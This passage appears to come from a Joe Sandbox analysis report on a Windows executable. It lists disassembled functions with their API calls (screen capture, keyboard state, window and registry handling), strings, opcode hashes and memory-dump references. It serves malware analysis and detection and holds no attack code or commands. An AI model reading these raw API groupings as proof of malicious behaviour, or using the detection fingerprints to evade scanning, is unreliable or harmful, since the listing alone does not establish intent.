Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopRect
String ID: tooltips_class32
API String ID: 2443926738-1918224756
Opcode ID: aaeb60d555cc86bf3e66e764e60d0e4162c92bacd9f6913f3df39f71d352b9df
Instruction ID: a5a21b53cc214efd02b8cf4d98f7d40213cce191838ac2d81ad3ba18469c2002
Opcode Fuzzy Hash: aaeb60d555cc86bf3e66e764e60d0e4162c92bacd9f6913f3df39f71d352b9df
Instruction Fuzzy Hash: 24918B32A18A8589E750EF65E4547ADB3B1FB88B98F804036DE4D87B58DF3CE045C760

Function 00007FF7C0EE4F54 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 151windowCOMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF7C0EE4FDF
CreateCompatibleBitmap.GDI32 ref: 00007FF7C0EE4FF3
CreateCompatibleDC.GDI32 ref: 00007FF7C0EE5001
SelectObject.GDI32 ref: 00007FF7C0EE5011
StretchBlt.GDI32 ref: 00007FF7C0EE5087
GetDIBits.GDI32 ref: 00007FF7C0EE50CE
GetDIBits.GDI32 ref: 00007FF7C0EE5107
SelectObject.GDI32 ref: 00007FF7C0EE5116
DeleteObject.GDI32 ref: 00007FF7C0EE511F
DeleteDC.GDI32 ref: 00007FF7C0EE5128
ReleaseDC.USER32 ref: 00007FF7C0EE5133

Strings

, xrefs: 00007FF7C0EE5053

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID:
API String ID: 2598888154-3916222277
Opcode ID: 3994b7b28fef36ee27ebe09cd9ee49426cf7ca29f8cb3ed20e9a9f0582733bf5
Instruction ID: 29089eb4e85ec702bfebde8145b8a0a0eaa2ca7c8b3cca7b1ddcf4db1753f3ad
Opcode Fuzzy Hash: 3994b7b28fef36ee27ebe09cd9ee49426cf7ca29f8cb3ed20e9a9f0582733bf5
Instruction Fuzzy Hash: E3519676B19640CBE750EF75E444AAEB7B1FB48B98F408125EE4A93B18CF38E445CB50

Function 00007FF7C0EBB0C4 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 117memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32 ref: 00007FF7C0EBB101
SafeArrayAllocData.OLEAUT32 ref: 00007FF7C0EBB163
VariantInit.OLEAUT32 ref: 00007FF7C0EBB175
SafeArrayAccessData.OLEAUT32 ref: 00007FF7C0EBB198
VariantCopy.OLEAUT32 ref: 00007FF7C0EBB203
SafeArrayUnaccessData.OLEAUT32 ref: 00007FF7C0EBB217
VariantClear.OLEAUT32 ref: 00007FF7C0EBB22E
SafeArrayDestroyData.OLEAUT32 ref: 00007FF7C0EBB23D
SafeArrayDestroyDescriptor.OLEAUT32 ref: 00007FF7C0EBB247
VariantClear.OLEAUT32 ref: 00007FF7C0EBB25A
SafeArrayDestroyDescriptor.OLEAUT32 ref: 00007FF7C0EBB266

Strings

NULL Pointer assignment, xrefs: 00007FF7C0EBB0D3

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID: NULL Pointer assignment
API String ID: 2706829360-2785691316
Opcode ID: f387a50e6818b73d110b12cd73088d785cdd73093c11eac48bc39c6d5f3c3ae3
Instruction ID: 75d2885679731bd668a13e6952434616ab10f953e7449c5a35dc03cb447c37ed
Opcode Fuzzy Hash: f387a50e6818b73d110b12cd73088d785cdd73093c11eac48bc39c6d5f3c3ae3
Instruction Fuzzy Hash: C7516122A19A1289EB00FF65D8856BDA770FB84F98F844131DE0E87765DF78E085C790

Function 00007FF7C0EF1110 Relevance: 19.6, APIs: 1, Strings: 10, Instructions: 371COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,00000000,?,?,?,00007FF7C0EEFD7B), ref: 00007FF7C0EF1143

Strings

HKU, xrefs: 00007FF7C0EF1542
HKEY_LOCAL_MACHINE, xrefs: 00007FF7C0EF1285
HKEY_CURRENT_USER, xrefs: 00007FF7C0EF146B
HKEY_CLASSES_ROOT, xrefs: 00007FF7C0EF132C
HKEY_CURRENT_CONFIG, xrefs: 00007FF7C0EF13D1
HKCU, xrefs: 00007FF7C0EF14A8
HKLM, xrefs: 00007FF7C0EF12C2
HKCC, xrefs: 00007FF7C0EF140E
HKEY_USERS, xrefs: 00007FF7C0EF1505
HKCR, xrefs: 00007FF7C0EF1369

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 3964851224-909552448
Opcode ID: 48ce5f8ab7038dd94976e3b00d3167ae2925137fb7b03817e14e3f39c5b841c4
Instruction ID: e7055d8342ba8be7be7251440c874df1567b2e3d59038554865eee3c0c181cb8
Opcode Fuzzy Hash: 48ce5f8ab7038dd94976e3b00d3167ae2925137fb7b03817e14e3f39c5b841c4
Instruction Fuzzy Hash: 3DE1A312F8965B85EA60BF6598402B8A290BF60FB4BC84571CA1DC77D4EF3CF94593A0

Function 00007FF7C0ED87CC Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 200COMMON

Download Yara Rule

APIs

wcscat.LIBCMT ref: 00007FF7C0ED898D
wcscat.LIBCMT ref: 00007FF7C0ED899E
GetCurrentDirectoryW.KERNEL32 ref: 00007FF7C0ED89AF
SetCurrentDirectoryW.KERNEL32 ref: 00007FF7C0ED89BC
GetFileAttributesW.KERNEL32 ref: 00007FF7C0ED89ED
SetFileAttributesW.KERNEL32 ref: 00007FF7C0ED8A03
SetCurrentDirectoryW.KERNEL32 ref: 00007FF7C0ED8A14
SetCurrentDirectoryW.KERNEL32 ref: 00007FF7C0ED8A76
wcscpy.LIBCMT ref: 00007FF7C0ED8A88
SetCurrentDirectoryW.KERNEL32 ref: 00007FF7C0ED8AC5

Strings

*.*, xrefs: 00007FF7C0ED8A7C

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: CurrentDirectory$AttributesFilewcscat$wcscpy
String ID: *.*
API String ID: 4125642244-438819550
Opcode ID: 1b6dd8a96d898a21e7a73211ee0a4e3b10aba06561d9a5e90c26a3235988e558
Instruction ID: 4a9f33535daba91612b695fa619891aae0fdb80aa5420a6814abf637c345faba
Opcode Fuzzy Hash: 1b6dd8a96d898a21e7a73211ee0a4e3b10aba06561d9a5e90c26a3235988e558
Instruction Fuzzy Hash: 0381BF22A58B8286EB14FF15D9406BDA3A0FB44BA4FC80036DA4E87794DF7DF544C3A0

Function 00007FF7C0ECA40C Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 188windowsleepCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32 ref: 00007FF7C0ECA4B8
SetMenuItemInfoW.USER32 ref: 00007FF7C0ECA4F0
Sleep.KERNEL32 ref: 00007FF7C0ECA503
GetMenuItemCount.USER32 ref: 00007FF7C0ECA549
GetMenuItemID.USER32 ref: 00007FF7C0ECA566
GetMenuItemID.USER32 ref: 00007FF7C0ECA58D
GetMenuItemID.USER32 ref: 00007FF7C0ECA5CB
CheckMenuRadioItem.USER32 ref: 00007FF7C0ECA610
GetMenuItemInfoW.USER32 ref: 00007FF7C0ECA62B
SetMenuItemInfoW.USER32 ref: 00007FF7C0ECA650

Strings

P, xrefs: 00007FF7C0ECA432

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep
String ID: P
API String ID: 1460738036-3110715001
Opcode ID: 425b3d5a2051c68f0670dcdad59ee9d800cc35cf3d8f3cee648c2718cc05a541
Instruction ID: a08c6a703700d4f0145bc6684a664707760826cb4cd78ca767c2350c8838ad79
Opcode Fuzzy Hash: 425b3d5a2051c68f0670dcdad59ee9d800cc35cf3d8f3cee648c2718cc05a541
Instruction Fuzzy Hash: 85710622A0C65286F721FF2494442BEB761BB80BACF988431DA4D87781CF7DF546C7A0

Function 00007FF7C0ED3268 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 135COMMON

Download Yara Rule

APIs

LoadStringW.USER32 ref: 00007FF7C0ED32C5
LoadStringW.USER32 ref: 00007FF7C0ED32EB
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7C0ED3433
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7C0ED344F

Strings

"%s" (%d) : ==> %s:%s%s, xrefs: 00007FF7C0ED341A
^ ERROR , xrefs: 00007FF7C0ED339F
Line %d (File "%s"):, xrefs: 00007FF7C0ED3338
Error: , xrefs: 00007FF7C0ED33E1
"%s" (%d) : ==> %s:, xrefs: 00007FF7C0ED3441
Incorrect parameters to object property !, xrefs: 00007FF7C0ED33B0

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: LoadStringwprintf
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 3297454147-3080491070
Opcode ID: 921b602f5fcb54eacd7a62b3ce9e0f2e08e995aee376e847d7660b2710a32505
Instruction ID: b0675a93ccdddec53a6b20d58b77df1efba6bca0c8f2e773ee501dc00389e9c1
Opcode Fuzzy Hash: 921b602f5fcb54eacd7a62b3ce9e0f2e08e995aee376e847d7660b2710a32505
Instruction Fuzzy Hash: B4613D21A6CA5292EB00FF61E4405EDA361FB84764FC01432EA4D9379ADF7CF646C7A0

Function 00007FF7C0EC74B0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 128windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(000087FFFFFE03FF,00007FF7C0E9EA7B,?,?,?,?,?,?,?), ref: 00007FF7C0EC74EA
LoadStringW.USER32 ref: 00007FF7C0EC7505
GetModuleHandleW.KERNEL32(?,?,?,?,?,?,?), ref: 00007FF7C0EC751A
LoadStringW.USER32 ref: 00007FF7C0EC752C
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF7C0EC766D
MessageBoxW.USER32 ref: 00007FF7C0EC7685

Strings

Line %d (File "%s"):, xrefs: 00007FF7C0EC757F
Error: , xrefs: 00007FF7C0EC7623
^ ERROR, xrefs: 00007FF7C0EC75F2
Line %d:, xrefs: 00007FF7C0EC758D
%s (%d) : ==> %s: %s %s, xrefs: 00007FF7C0EC7650

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: HandleLoadModuleString$Messagewprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 4051287042-2268648507
Opcode ID: 6f60d895e456e1bcae49e483a71499a5f57f9936a6ffa7df15260821f561c8be
Instruction ID: b851ab35070f15b029b15da91c59c6994155cb6c798a9ded360573229a5f21a0
Opcode Fuzzy Hash: 6f60d895e456e1bcae49e483a71499a5f57f9936a6ffa7df15260821f561c8be
Instruction Fuzzy Hash: B4516E21B58E5291EB00FF61E8454EDA321FB84764BC05432EA4D9379ADF7CF606C7A0

Function 00007FF7C0ECD4AC Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 65sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00007FF7C0ECD4B9
Sleep.KERNEL32 ref: 00007FF7C0ECD4D7
EnumThreadWindows.USER32 ref: 00007FF7C0ECD4FF
FindWindowExW.USER32 ref: 00007FF7C0ECD528
SetActiveWindow.USER32 ref: 00007FF7C0ECD54B
SendMessageW.USER32 ref: 00007FF7C0ECD55F

Part of subcall function 00007FF7C0ECB5D4: GetWindowThreadProcessId.USER32 ref: 00007FF7C0ECB608
Part of subcall function 00007FF7C0ECB5D4: GetCurrentThreadId.KERNEL32 ref: 00007FF7C0ECB610

SendMessageW.USER32 ref: 00007FF7C0ECD57F
Sleep.KERNEL32 ref: 00007FF7C0ECD58A
IsWindow.USER32 ref: 00007FF7C0ECD597
EndDialog.USER32 ref: 00007FF7C0ECD5AA

Part of subcall function 00007FF7C0ECB5D4: GetWindowThreadProcessId.USER32 ref: 00007FF7C0ECB5F0
Part of subcall function 00007FF7C0ECB5D4: GetCurrentThreadId.KERNEL32 ref: 00007FF7C0ECB5F8
Part of subcall function 00007FF7C0ECB5D4: AttachThreadInput.USER32 ref: 00007FF7C0ECB61D

Strings

BUTTON, xrefs: 00007FF7C0ECD51F

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Thread$Window$CurrentMessageProcessSendSleep$ActiveAttachDialogEnumFindInputTimeWindowstime
String ID: BUTTON
API String ID: 3935177441-3405671355
Opcode ID: f78108109216f5a9e13feac809e7b4bcbb9376684aa6c7b0e89a3c685e053ef5
Instruction ID: cc0ee49a22c1d25df6b9acc0ef6b0d44a3953fe9705e402d7660ea91d4d6fd17
Opcode Fuzzy Hash: f78108109216f5a9e13feac809e7b4bcbb9376684aa6c7b0e89a3c685e053ef5
Instruction Fuzzy Hash: C7314F20A0D61782FB55BF60E854B76A351AF84B78FC54031DA0E867A0CF7EF4C487A0

Function 00007FF7C0E515EC Relevance: 18.2, APIs: 12, Instructions: 191timeCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00007FF7C0E516C8
KillTimer.USER32 ref: 00007FF7C0E517A3
DestroyAcceleratorTable.USER32 ref: 00007FF7C0E99AB2

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Destroy$AcceleratorKillTableTimerWindow
String ID:
API String ID: 1974058525-0
Opcode ID: dcc26eb72664b9d1949b187f4fad04aff093ad4780d9238f6c635ec0504560de
Instruction ID: 0bd5e7694e567a426f9989773aea1b4848ba1febc5a3efbf03f74d660a269777
Opcode Fuzzy Hash: dcc26eb72664b9d1949b187f4fad04aff093ad4780d9238f6c635ec0504560de
Instruction Fuzzy Hash: 60913731A4DA0285EB54BFA5E490678A3A0BF88FA4FD84431CD4E87794DF7CF48583A0

Function 00007FF7C0EC2F78 Relevance: 18.2, APIs: 12, Instructions: 173COMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00007FF7C0EC2FB1
GetWindowRect.USER32 ref: 00007FF7C0EC2FCD
MoveWindow.USER32 ref: 00007FF7C0EC3048
GetDlgItem.USER32 ref: 00007FF7C0EC3063
GetWindowRect.USER32 ref: 00007FF7C0EC3078
MoveWindow.USER32 ref: 00007FF7C0EC30E2
GetDlgItem.USER32 ref: 00007FF7C0EC30F4
GetWindowRect.USER32 ref: 00007FF7C0EC3109
MoveWindow.USER32 ref: 00007FF7C0EC315B
GetDlgItem.USER32 ref: 00007FF7C0EC3173
MoveWindow.USER32 ref: 00007FF7C0EC3198
InvalidateRect.USER32 ref: 00007FF7C0EC31AB

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: cd18a514988302620758944a1eb5a442a77522faab4df44982a6bd62bf806ab3
Instruction ID: d595ac0017e6f6967c44bfddd190c8d9e84182ab1f9e11fc466577c063caeae5
Opcode Fuzzy Hash: cd18a514988302620758944a1eb5a442a77522faab4df44982a6bd62bf806ab3
Instruction Fuzzy Hash: 2D619F72B082408BE718DF6AE44466DB7A2B788B98F548139DE09D3F48DF38E9458B50

Function 00007FF7C0EC7E64 Relevance: 18.2, APIs: 12, Instructions: 173keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32 ref: 00007FF7C0EC7F01
SetKeyboardState.USER32 ref: 00007FF7C0EC7F58
GetAsyncKeyState.USER32 ref: 00007FF7C0EC7F7E
GetKeyState.USER32 ref: 00007FF7C0EC7F93
GetAsyncKeyState.USER32 ref: 00007FF7C0EC7FC2
GetKeyState.USER32 ref: 00007FF7C0EC7FD2
GetAsyncKeyState.USER32 ref: 00007FF7C0EC8001
GetKeyState.USER32 ref: 00007FF7C0EC8011
GetAsyncKeyState.USER32 ref: 00007FF7C0EC8040
GetKeyState.USER32 ref: 00007FF7C0EC8050
GetAsyncKeyState.USER32 ref: 00007FF7C0EC807F
GetKeyState.USER32 ref: 00007FF7C0EC808F

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 3846c89bd659206fb3b2d3285dc51d557998776e104b8ac6e0153ffc668b7184
Instruction ID: 5b66440bdc868b84f90cb17a74a76494edc2740bc8a7ba78343ab72f8eceb35f
Opcode Fuzzy Hash: 3846c89bd659206fb3b2d3285dc51d557998776e104b8ac6e0153ffc668b7184
Instruction Fuzzy Hash: A171C312A8C2C155FB35BF3090502BAAB60EB45B98FD80079D68D43381CF5EFA4AC7B1

Function 00007FF7C0ED4708 Relevance: 17.8, APIs: 3, Strings: 7, Instructions: 339COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32 ref: 00007FF7C0ED4795
GetDriveTypeW.KERNEL32 ref: 00007FF7C0ED4A03
wcscpy.LIBCMT ref: 00007FF7C0ED4AA7

Strings

cdrom, xrefs: 00007FF7C0ED47F7
unknown, xrefs: 00007FF7C0ED498F
removable, xrefs: 00007FF7C0ED484A
ramdisk, xrefs: 00007FF7C0ED493F
network, xrefs: 00007FF7C0ED48EC
all, xrefs: 00007FF7C0ED47A0
fixed, xrefs: 00007FF7C0ED4890

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: BuffCharDriveLowerTypewcscpy
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 1561581874-1000479233
Opcode ID: ce25e8d1a7becc76643e4d1ddee2007e93a86bfe4a34930367856c9c98c70219
Instruction ID: 9cdaf258d5070a7b0792e155f51076d383e52a8b8c1679822ee8be3f3e88740e
Opcode Fuzzy Hash: ce25e8d1a7becc76643e4d1ddee2007e93a86bfe4a34930367856c9c98c70219
Instruction Fuzzy Hash: 93D1D662A4C79642EA20BF15D55017AE3A0FBA4BF4F884232DA5D937D4DF3CF94583A0

Function 00007FF7C0EBFF44 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 243windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32 ref: 00007FF7C0EBFFAC
SendMessageTimeoutW.USER32 ref: 00007FF7C0EC00C8
GetClassNameW.USER32 ref: 00007FF7C0EC013C
GetDlgCtrlID.USER32 ref: 00007FF7C0EC0193
GetWindowRect.USER32 ref: 00007FF7C0EC01B9
GetParent.USER32 ref: 00007FF7C0EC01D6
ScreenToClient.USER32 ref: 00007FF7C0EC01E6
GetClassNameW.USER32 ref: 00007FF7C0EC0281
GetWindowTextW.USER32 ref: 00007FF7C0EC02C1

Strings

%s%u, xrefs: 00007FF7C0EC0044

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout
String ID: %s%u
API String ID: 1412819556-679674701
Opcode ID: ec5f86a190bb73f09945e144781202aaf3720bc00edec1e84de13663eea9de37
Instruction ID: a9d641d74f8bc53e61938666fb272c898e48e6f6ca019c166dda91849815bf88
